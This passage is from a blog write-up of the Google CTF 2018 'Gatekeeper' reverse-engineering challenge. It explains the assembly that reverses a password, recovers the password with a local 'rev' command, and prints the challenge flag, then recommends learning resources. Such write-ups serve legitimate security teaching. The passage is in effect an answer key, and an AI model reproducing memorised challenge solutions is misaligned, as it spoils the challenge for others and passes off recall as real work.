<p>As you can see, the <code class="language-plaintext highlighter-rouge">rax</code> register stores the string length which is contained in the memory location <code class="language-plaintext highlighter-rouge">[rbp+dest]</code>. The <a href="https://www.aldeid.com/wiki/X86-assembly/Instructions/shr">shr</a> instruction then simply shifts the bits of the operand destination by <code class="language-plaintext highlighter-rouge">1</code>. This is used as the loop counter, so when the counter is equal to the string length, as we see the <code class="language-plaintext highlighter-rouge">cmp</code> instruction doing, then the program will continue execution to the left.</p>
<p>Otherwise it will jump to <code class="language-plaintext highlighter-rouge">loc_AC8</code> and will move the last character of the string to the front, thus reversing it.</p>
<p>Alright, so we know that the password is being reversed. Let’s reverse it ourselves and see if it works.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span><span class="nb">echo</span> <span class="s2">"zLl1ks_d4m_T0g_I"</span> | rev
<span class="go">I_g0T_m4d_sk1lLz
</span></code></pre></div></div>
<p>After getting the reversed password, let’s test it!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Gatekeeper#</span><span class="w"> </span>./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz
<span class="go">/===========================================================================\
| Gatekeeper - Access your PC from everywhere! |
+===========================================================================+
</span><span class="gp"> ~></span><span class="w"> </span>Verifying.......Correct!
<span class="go">Welcome back!
CTF{I_g0T_m4d_sk1lLz}
</span></code></pre></div></div>
<p>And there we have it! We got our flag!</p>
<p><strong>FLAG:</strong> CTF{I_g0T_m4d_sk1lLz}</p>
<h2 id="closing">Closing</h2>
<p>The Reverse Engineering challenges were pretty easy to be honest! They weren’t too overly complex if you knew what you were looking at. For those who are struggling with reverse engineering I always suggest looking at the what’s being called via the <a href="https://www.aldeid.com/wiki/X86-assembly/Instructions/call">call</a> to see what functions are being called - this makes it easier to try and understand what’s going on.</p>
<p>If you had trouble understanding the assembly then I suggest you take the <a href="http://opensecuritytraining.info/IntroX86.html">Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration</a> by <a href="http://opensecuritytraining.info">Open Security Training</a>. They have a lot of courses that can help you get started in assembly and reverse engineering.</p>
<p>Also, <a href="https://twitter.com/malwareunicorn">Malware Unicorn</a> has a great <a href="https://sites.google.com/secured.org/malwareunicorn/reverse-engineering/re101">Reverse Engineering 101</a> workshop that I highly suggest you read!</p>
<p>At the same time I believe that the book, “<a href="https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441">Hacking: The Art of Exploitation</a>” and “<a href="https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315/ref=sr_1_1?keywords=reverse+engineering&qid=1550812342&s=books&sr=1-1">Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation</a>” are great books if you want to get started in exploitation and reverse engineering.</p>
<p>With that being said, I hope you all learned something new from this write up! Stay tuned for my next post as we cover the final PWN challenges!</p>
<p>Just note, the PWN challenges will be split up into two separate posts for easier readability.</p>
<p>Thanks for reading!</p>Jack Halonjacek.halon@gmail.comIn my previous post “Google CTF (2018): Beginners Quest - Web Solutions” we covered the web challenges for the 2018 Google CTF, which covered a variety of security issues ranging from topics such as the improper use of client side scripts, and other simple vulnerabilities like cross-site scripting (also known as XSS).